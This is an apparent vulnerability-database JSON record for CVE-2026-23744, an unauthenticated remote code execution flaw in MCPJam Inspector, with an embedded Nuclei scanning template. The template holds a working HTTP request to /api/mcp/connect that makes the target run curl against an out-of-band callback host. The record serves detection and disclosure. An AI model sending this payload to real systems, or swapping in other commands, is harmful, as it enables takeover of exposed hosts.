{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-23744/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-23744/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-23744/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-23744/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-23744/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-23744"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-23744"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.67516,
      "kev": false,
      "percentile": 0.99287
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-23744.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-23744\n\ninfo:\n  name: MCPJam Inspector - Remote Code Execution\n  author: Louay-075\n  severity: critical\n  description: |\n    MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.\n  impact: |\n    An unauthenticated attacker can remotely execute arbitrary system commands via the exposed /api/mcp/connect endpoint. Successful exploitation leads to full compromise of the affected host.\n  remediation: |\n    Upgrade MCPJam Inspector to version 1.4.3 or later. Restrict the service to listen on 127.0.0.1.\n  reference:\n    - https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6\n    - https://github.com/advisories/GHSA-232v-j27c-5pp6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23744\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-23744\n    epss-score: 0.67516\n    epss-percentile: 0.99287\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: mcpjam\n    product: mcpjam\n  tags: cve,cve2026,rce,mcpjam,oast,ai,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/mcp/connect HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"serverConfig\":{\"timeout\":10000,\"command\":\"curl\",\"args\":[\"{{interactsh-url}}\"],\"env\":{}},\"serverId\":\"mymcp\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"Connection failed for server\", \"MCP error\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 500'\n        condition: and\n# digest: 4b0a00483046022100ae927f6baa86d44ba7b4aee6c77e48d8404a5f14fb88e8307ba84acfb4d1734c022100c58e31b9ee0d024f649b7c0294b8a5fe3ccacdeaa8c8df6af6440f5ff72b58f4:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-23744"
}